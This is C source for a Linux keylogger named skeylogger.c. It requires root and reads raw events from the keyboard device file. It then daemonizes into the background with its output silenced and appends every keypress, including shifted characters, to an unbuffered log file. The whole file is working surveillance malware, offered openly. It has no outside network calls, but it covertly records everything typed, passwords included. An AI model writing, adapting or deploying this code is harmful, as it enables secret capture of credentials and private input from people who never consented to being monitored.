skeylogger.c

#include <stdio.h>
#include <fcntl.h>   // open
#include <stdlib.h>
#include <string.h>  // strerror
#include <errno.h>
#include <stdint.h>
#include <assert.h>
#include <unistd.h>  // daemon, close
#include <linux/input.h>

#include "key_util.h"
#include "util.h"
#include "options.h"
#include "config.h"

#define KEY_RELEASE 0
#define KEY_PRESS 1

typedef struct input_event input_event;

static void rootCheck();
static int openKeyboardDeviceFile(char *deviceFile);

/**
 * Exit with return code -1 if user does not have root privileges
 */
static void rootCheck() {
   if (geteuid() != 0) {
      printf("Must run as root\n");
      exit(-1);
   }
}

/**
 * Opens the keyboard device file
 *
 * @param  deviceFile   the path to the keyboard device file
 * @return              the file descriptor on success, error code on failure
 */
static int openKeyboardDeviceFile(char *deviceFile) {
   int kbd_fd = open(deviceFile, O_RDONLY);
   if (kbd_fd == -1) {
      LOG_ERROR("%s", strerror(errno));
      exit(-1);
   }

   return kbd_fd;
}

int main(int argc, char **argv) {
   rootCheck();

   Config config;
   parseOptions(argc, argv, &config);

   int kbd_fd = openKeyboardDeviceFile(config.deviceFile);
   assert(kbd_fd > 0);

   FILE *logfile = fopen(config.logFile, "a");
   if (logfile == NULL) {
      LOG_ERROR("Could not open log file");
      exit(-1);
   }

   // We want to write to the file on every keypress, so disable buffering
   setbuf(logfile, NULL);

   // Daemonize process. Don't change working directory but redirect standard
   // inputs and outputs to /dev/null
   if (daemon(1, 0) == -1) {
      LOG_ERROR("%s", strerror(errno));
      exit(-1);
   }

   uint8_t shift_pressed = 0;
   input_event event;
   while (read(kbd_fd, &event, sizeof(input_event)) > 0) {
      if (event.type == EV_KEY) {
         if (event.value == KEY_PRESS) {
            if (isShift(event.code)) {
               shift_pressed++;
            }
            char *name = getKeyText(event.code, shift_pressed);
            if (strcmp(name, UNKNOWN_KEY) != 0) {
               LOG("%s", name);
               fputs(name, logfile);
            }
         } else if (event.value == KEY_RELEASE) {
            if (isShift(event.code)) {
               shift_pressed--;
            }
         }
      }
      assert(shift_pressed >= 0 && shift_pressed <= 2);
   }

   Config_cleanup(&config);
   fclose(logfile);
   close(kbd_fd);
   return 0;
}